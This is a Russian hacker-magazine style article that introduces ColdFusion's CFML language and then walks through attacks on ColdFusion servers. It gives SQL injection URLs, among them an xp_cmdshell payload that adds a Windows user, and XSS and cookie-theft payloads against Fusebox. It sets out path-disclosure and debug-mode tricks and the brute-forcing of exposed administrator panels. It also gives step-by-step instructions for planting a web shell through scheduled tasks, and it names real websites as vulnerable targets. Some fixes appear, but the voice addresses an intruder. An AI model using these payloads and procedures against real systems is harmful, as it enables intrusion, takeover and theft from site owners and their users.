Основные ошибки программистов в cfm-сценариях Наши
заокеанские друзья не разделяют нашего мнения о
бесплатных приложениях и предпочитают платные решения -
это в какой-то мере является для них гарантией
качественной поддержки. Трудно сказать, виноват ли в
этом менталитет, но при выборе платформы для создания
серверных web-приложений все больше компаний отдают
предпочтение ColdFusion, а не Perl или PHP. Мы с тобой
воспримем эту ситуацию как факт и начнем изучать вопрос
безопасности: ведь чем чаще встречаются cfm-сценарии,
тем важнее для нас понимать, какие изъяны могут
встречаться в подобных системах.
[разберемся с основами]
Первым делом нужно разобраться с тем, что же из себя
представляет ColdFusion. Это сервер приложений (application
server), которому веб-сервер (чаще всего ISS, но
встречаются и связки с Apache), отдает на обработку
специальные cfm-файлы - происходит это абсолютно
аналогично тому, как php-файлы обрабатываются
интерпретатором РНР. Файлы .cfm представляют собой код
на языке CFML (ColdFusion Markup Language) - языке
сервера ColdFusion, который является нестрогим
подмножеством XML: все операторы и выражения
представляются набором специальных тэгов. По этой
причине cfm-сценарии порой выглядят как дизайнерские
шаблоны для какой-то template-системы :). Однако такое
внешнее сходство обманчиво: ColdFusion предоставляет
массу возможностей и по функциональности едва ли
уступает любому другому языку сценариев.
Для настройки сервера используется ColdFusion
Administrator - специальный web-инструмент, который
позволяет через удобные диалоги конфигурировать систему.
Более подробно об этом мы поговорим ниже.
А сейчас давай пройдемся по языку, чтобы у тебя не
возникало элементарных вопросов. Прежде всего нужно
уяснить тот факт, что все CFML-тэги начинаются с
префикса cf, после которого идет, собственно, команда.
Так, две самые используемые в любом языке команды -
присвоение и условие - здесь выглядят так:
<cfif var neq 5> <!--- если var не равняется пяти
--->
<cfset var = 5> <!--- установить var=5 --->
</cfif>
Как видно из примера, операторы сравнения напоминают
Lisp'овские - EQ (или IS) для равенства, NEQ для
неравенства, GT и LT - больше-меньше. Также видно, что
комментарии вставляются практически так же, как в HTML,
только с каждой стороны - три тире, а не два.
Большинство тэгов имеют соответствующие им
закрывающие элементы, как <cfif> (в примере выше). Также
тэги могут иметь и атрибуты: скажем, у цикла типа for
будет 3-4 атрибута: имя переменной цикла, два атрибута с
границами цикла и необязательный атрибут шага:
<cfloop index = "i" from = "1" to = "10" step = "2">
... HTML или CFML код...
</cfloop>
Кроме этого, частью CFML является CFScript - очень
смахивающий на JavaScript язык; для его использования
достаточно заключить требуемые инструкции в пару тэгов <cfscript></cfscript>.
Вот первый пример, написанный на CFScript:
<cfscript>
if (var neq 5)
var = 5;
</cfscript>
Несмотря на то, что все авторы статей и книг по CFML
рекомендуют использовать CFScript ввиду его скорости по
отношению к тэговому CFML, полевые замеры скорости
наталкивают на вывод, что либо это те же яйца, только
синтаксис привычнее, либо CFScript рулит только для
какого-то узкого круга задач. |
В основном, сервер ColdFusion работает под виндами
(есть реализации под Solaris, Linux, Cobalt, HP-UX), и
ColdFusion умеет работать с реестром, данными виндовой
доменной аутентификации, ini-файлами и прочими фишками.
Говорят, что писать на ColdFusion невероятно просто, так
как он вмещает в себя огромное количество функций самого
различного назначения. Что больше всего радует - наличие
удобных функций для работы с массивами, структурами
(именованными массивами) и списками. Также впечатляет
удобная контекстная справка и несколько других бонусов
типа авто-подстановки атрибутов или закрывающего тэга,
встроенных в такие редакторы, как HomeSite и ColdFusion
Studio.
Далее следует отметить одну особенность работы c
CFML. Наряду с другими языками, он поддерживает
многократное использование кода, оформленного в виде
пользовательской функции, но кроме этого предусмотрен
механизм определения собственных тэгов (custom tags):
если в функции значения передаются позиционно (скажем, в
функции открытия файла первым параметром всегда идет
строковое имя файла, а вторым - режим работы), то вызов
кастом-тэга строится на именовании параметров-атрибутов
- это очень похоже на обычный html-тэг с несколькими
атрибутами вроде ширины и цвета, только за поведение
такого тэга отвечает программист. В принципе, кастом-тэг
- закономерное введение для тэгового языка.
Сталкивался ли ты в РНР с чем-нибудь вроде $$var? Это
выражение называется «переменная переменная» (variable
variable), то есть результатом следующего кода будет
«666»:
$var="foo";
$foo=666;
echo $$var;
Если в РНР этим, похоже, мало кто пользуется, то в
ColdFusion такая фишка встречается довольно часто. Для
этого имя переменной нужно окружить символами «#» («паунд»).
Так, например, у тебя есть десять переменных вида x1,
x2,…, x10. Пройтись по ним можно так:
<cfloop index = "i" from = "1" to = "10">
<cfset "x#i#" = "var " & i>
</cfloop>
В принципе, это удобная фича, но если перегнуть
палку, то мозг начинает кипеть. Во всяком случае, если в
.cfm файле ты хочешь написать html-константу цвета типа
"#0000ff", то паунд нужно экранировать - "##0000ff",
иначе задолбишься искать ошибку.
Любимый тернарный оператор вида x==y ? «x равен y»: «x
не равен y» есть и здесь, только в CFML перед скобками
нужно написать «IIF» и не забыть, что оба выходных
выражения будут выполнены. Есть одно важное отличие от
РНР - вызов непроинициализированной переменной приводит
к ошибке. Вот теперь, когда у тебя в голове от всего
вышесказанного выстроилась стройная и четкая каша, можно
приступить к рассмотрению уязвимостей.
[№1: sql-injection]
Прежде чем разбираться с тем, как в ColdFusion
работает sql-injection, нужно уяснить, что для работы с
БД используется парный тэг <cfquery>, внутри которого
простым текстом вставляется SQL-запрос. Допустим, при
запросе страницы www.server.org?ItemID=5 выполняется
следующий код: |
<cfquery name="qGetItemDetail" datasource="...">
SELECT * FROM Item WHERE ItemID=#URL.ItemID#
</cfquery>
Радуйся, если БД является MSSQL Server: ты раздобыл
практически готовый шелл, поскольку стандартная
процедура MSSQL xp_cmdshell с радостью исполнит любой
твой каприз. То есть после небольшого изменения URL'а на
www.server.org?ItemID=5;exec%20master..xp_cmdshell%20"net%20user%20petya%20password%20/add
запустится процедура xp_cmdshell и добавит нового юзера.
Как бороться с этим недугом? Очень просто: нужно
проверять и экранировать входные данные, использовать
своих stored procedures вместо кусков SQL ( «перенос
логики на сторону сервера БД» или «создание легкого
клиента»), а также использование специального тэга <cfqueryparam>,
который позволяет передать в запрос данные, четко указав
их тип и максимальную длину.
[№2: прямой вызов темплейтов]
Нельзя сказать, что это будет работать только для
ColdFusion'а, и все-таки. Принцип простой - напрямую
вызвать скрипт, который обычно сам по себе не
вызывается, а имеет какую-то чисто служебную цель;
например, есть такая практика в программировании:
выносить запросы к базе в отдельные файлы - так почему
бы этим не воспользоваться? Трудности две: узнать имя
нужного файла и суметь использовать его в своих целях,
ведь править код никто не даст. Самым простым решением
является изучение готовых проектов и использование
найденных багов. Для примера, часто для
ColdFusion-проектов используется такая надстройка, как
FuseBox, которая за счет хитрого наименования, разбиения
и расположения файлов существенно облегчает процесс
разработки (хорошая вещь, имеет реализацию для РНР).
Исходники общедоступны и ждут твоего анализа. Сложность
в том, что сорцы могут быть закодированы такой утилитой,
как CFEncode - она идет в стандартной поставке сервера и
реализует DES-шифрование. Но курс «Кодирование
информации» сейчас идет даже в средней школе, поэтому
ниже есть ссылка на исходник проги CFDecode, которую
один наш нехороший соотечественник пытается в
скомпилированном виде продавать по 18 буказоидов.
Как бороться - запросы и прочие важные файлы
рекомендуется выносить в недоступную через браузер
папку. Кроме этого, в специальный темплейт
application.cfm, который вызывается при запросе любого
файла, можно вставить проверку пути к вызываемому файлу.
[№3: получение абсолютного пути]
Считается, что уровень критичности такого недосмотра
админа весьма низкий, но хакеру такая инфа может
оказаться весьма кстати. Дело в том, что если запросить
у сервера, работающего под IIS, файл, состоящий из имени
MS-DOS-устройства (NUL, PRN, и др.) и окончания .dbm, то
сервер выдаст ошибку с указанием абсолютного пути к
искомому файлу, который должен был бы лежать в web
root-папке. Для примера, запрос
http://national.unitedway.org/nul.dbm вернет
страницу с ошибкой, представленной на рисунке 1. Опыт
показывает, что часто плохо настроенный сервер ведет
себя примерно так же при запросе любой несуществующей
страницы, но этот способ использует специфику настройки
веб-сервера. |
Как бороться? В настройках IIS поставить галочку
«Проверка существования файла» для расширений .cfm и
.dbm. Еще есть один вариант получения пути, но он
работает только на серверах версий 4.0х, которые уже не
пользуются популярностью - сервер кэширует вызываемые
страницы, а всю инфу по кэшу складывает в файл
cfcache.map в одну папку с вызванным: там находятся
имена вызываемых кэш-файлов в понятиях файловой системы
сервера. Для примера сделай такой запрос в гугле:
inurl:cfcache.map, открой любую ссылку, и ты увидишь
что-то вроде этого:
[file.cfm]
Mapping=c:/cfusion/bin/cftags/\CFC197.tmp
SourceTimeStamp=05/18/1999 06:17:00 PM
[№4: доступ к отладочной информации]
Бага не очень страшная, но знать о ней надо. Вообще,
за счет установок в ColdFusion Administrator'е, либо
после запуска специального тэга в конце .cfm файла может
выдаваться отладочная инфа, очень нужная во время
разработки: время работы скрипта, GET и POST переменные,
а также CGI-переменные (что-то вроде переменных
окружения (см. рисунок 2)). Что можно с этого поиметь:
абсолютный путь к вызванному файлу в файловой системе
веб-сервера, а также имя и версию самого веб-сервера
(чаще всего IIS, что косвенно говорит о типе
используемой операционки). Чтобы добиться явления такого
чуда, попробуй дописать к урлу параметр mode со
значением debug, например, так:
www.phillipsnizer.com/library/cases/lib_case368.cfm?mode=debug.
Как бороться - ввести IP типа 127.0.0.1 в настройках
дебага в ColdFusion Administrator.
[№5 ColdFusion Administrator]
Интересная уязвимость, свойственная только ColdFusion,
как уже было сказано, тюнинг сервера осуществляется при
помощи этой самой web-тулзы. При установке ColdFusion
админ заходит туда так:
http://127.0.0.1/CFIDE/administrator/index.cfm.
Достаточно часто админ забывает отрубить доступ к
ColdFusion Administrator'у с IP-адресов, отличающихся от
127.0.0.1, поэтому твоя задача заключается в нахождении
ColdFusion-сервака и проверке такого урла:
http://server.com/CFIDE/administrator/index.cfm
(иногда приходится играться регистром в именах папок -
не у всех же винды стоят). В идеале, ты должен получить
картинку, похожую на рисунок 3. Плюс в том, что тебе
нужен только пароль - логинов тут не предусмотрено,
поэтому можно побрутфорсить. Сам пароль вводится во
время инсталляции сервера (см. рис. 4).
Быстрая проверка результатов гуглового запроса google
filetype:cfm дала пару сайтов, имеющих лопоухих админов
- это нью-йоркская публичка (www.nypl.org) и какая-то
хом-пага (www.petefreitag.com).
Как бороться - отключить доступ с нелокальных адресов
в настройках ColdFusion Administrator и проставить
пароль вроде UKO*8fTNDn.
[что это даст]
Тут благосклонный читатель может спросить, а что,
мол, я могу поиметь с сервака, если я получил-таки
доступ к ColdFusion Administrator'у? А оказывается, что
вот здесь начинается самое лакомое: во-первых, если
сервак крутится на IIS'е, то с помощью специального
Java-апплета на вкладке Server -> Server Settings->
Settings ты можешь смело лазать по дереву файлов на
серваке (см. рис. 5), затем установить ссылку Error
Template на свой удаленный скрипт и после этого вызвать
на сервере несуществующую страницу для запуска своего
злокачественного скрипта; во-вторых, есть более
универсальный способ сделать бяку - хитрым движением
хвоста залить на сервак свой скрипт, то есть фактически
сделать себе веб-шелл. Для этого иди на вкладку Server
->Automated Tasks-> Schedule Task, там жми на кнопку Add
Scheduled Task. На этой странице введи имя задачи, лучше
что-нибудь неприметное для админа (если такое вообще
бывает; для примера посмотри на рисунок 6). |
Проверь, чтобы поле Operation имело значение
HTTPRequest. Затем в поле URL пиши ссылку на свой
сценарий, после чего в поле Publish чекни архиважную для
нас галочку Save output to a file, и затем укажи путь и
имя выходного файла на сервере - путь можно узнать одним
из описанных выше способов, а если не вышло, то в другом
окне браузера запроси у этого сервера несуществующий
файл, а в ColdFusion Administrator'е иди на вкладку
Tools-> Logs and Statistics-> Log Files, заходи в
webserver.log и смотри, где сервак искал ответ на твой
хитрый запрос. После всех этих конвульсий (все должно
быть примерно, как на рисунке 7), смело жми кнопку «Submit
Changes», а на появившейся странице нажми картинку Go
рядом с именем твоей задачи (она в последнем столбце
Contols, сверься с картинкой 8). Если все отлично, то на
сервере будет создан файл с текстом указанной страницы,
на которой, разумеется, находился код простейшего CFML
web-шелла и теперь этот файл можно смело вызывать через
адресную строку браузера. [выводы]
Мы с тобой освоили основы создания cfm-сценариев и
разобрались с некоторыми проблемами безопасности. На
самом деле, если ты наберешь в поиске на
SecurityFocus.com ColdFusion, то приятно удивишься
количеству появившихся ссылок :). Среди них легко найти
как описание багов самого детища Macromedia, так и
упоминания об уязвимостях в продуктах, написанных на
CFML. Успехов тебе в освоении нового горизонта :)! Будут
вопросы - пиши.
cсылки по теме
* www.macromedia.com/software/coldfusion - новинки,
документация, «орехи и болты» от производителя.
* www.macromedia.com/cfusion/exchange - подборка
готовых приложений, функций, кастом-тэгов.
* www.easycfm.com - документация; можно пользоваться,
когда под рукой нет ColdFusion Studio.
* www.brainbench.com - вообще это тест-центр; можно,
пройдя тест, получить звание мастера ColdFusion и этот
факт освятить в своем резюме (время от времени они
делают большинство тестов бесплатными).
* www.fusebox.org - подробно о FuseBox'е.
* cfml.forever.kz - подборка интересных статей по
ColdFusion на русском языке.
*
http://bigd.kappa.ro/~pdoru/cfm/cfdecrypt.c -
исходник CFDecrypt.
* www.securiteam.com/tools/5ZP0B00FPG.html -
ColdFusion Web Shell (правда, использованный там <cfexecute>
работает только на серваках с Windows NT 4.0 и UNIX). |
баги Coldfusion Fusebox V4.1.0
Fusebox - это стандартная для Coldfusion технология
построения web-систем, которая подразумевает
последовательное подключение и выполнение определенных
файлов, в зависимости от управляющего параметра. Что-то
вроде того:
<cfswitch expression="#fuseaction#">
<cfcase value= "act1">
<cfinclude template= "login_header.cfm">
...
<cfinclude template= "login_footer.cfm">
</cfcase>
<cfcase value="aсt2">
<cfinclude template= "queryresult.cfm">
</cfcase>
</cfswitch>
Чтобы получить внушительный список сайтов,
использующих FuseBox, достаточно набрать в гугле
«inurl:.cfm?fuseaction».
В конце этого лета на багтрак-лентах появились
сообщения о баге во FuseBox. Элементарных запросом стало
возможным увести пользовательские куки и выполнить
произвольный код на стороне клиента:
www.site.ru/index.cfm?fuseaction="><script>document.location="http://www.xakep.ru"</script>
Возможно получить доступ к отладочной информации
элементарным запросом:
www.site.ru/index.cfm?fuseaction=?
К счастью, не все сайты, использующие FuseBox V4.1.0
уязвимы - на некоторых проектах может быть установлена
собственная страница с сообщением об ошибке, где-то
будет выполняться на все JS-конструкции. Так, например,
возможен вариант, при котором будут работать все
запросы, кроме тех, что обращаются к пользовательским
кукисам.
В случае, если ты наткнулся на такой ресурс, стоит
попробовать еще такой запрос:
www.site.ru/index.cfm?fuseaction=fusebox.overview"><script>alert
(document.cookie)</script><
SQL_injection в InstaBoard 1.3
К сожалению, популярных форумов вроде phpBB,
написанных на CFM нет. Однако из тех, что я нашел, все
оказались бажными :). За примером далеко идти не надо -
InstaBoard 1.3 страдает обильными sql-injection
уязвимостями:
* www.example.com/instaboard/index.cfm?frmid=1 AND
u.userid IN (select userid from users)
* www.example.com/instaboard/index.cfm?frmid=1&tpcid=1
SQL
* www.example.com/instaboard/index.cfm?frmid=1 SQL&tpcid=1
* www.example.com/instaboard/index.cfm?pr=replymsg&frmid=1&tpcid=1
SQL&msgid=11
* www.example.com/instaboard/index.cfm?pr=replymsg&frmid=1&tpcid=1&msgid=11
SQL
* www.example.com/instaboard/index.cfm?catid=-1 UNION
SELECT userid,1,1..., from users |
(Администратор не несет ответственности (Автор Денис
Евгеньевич)
|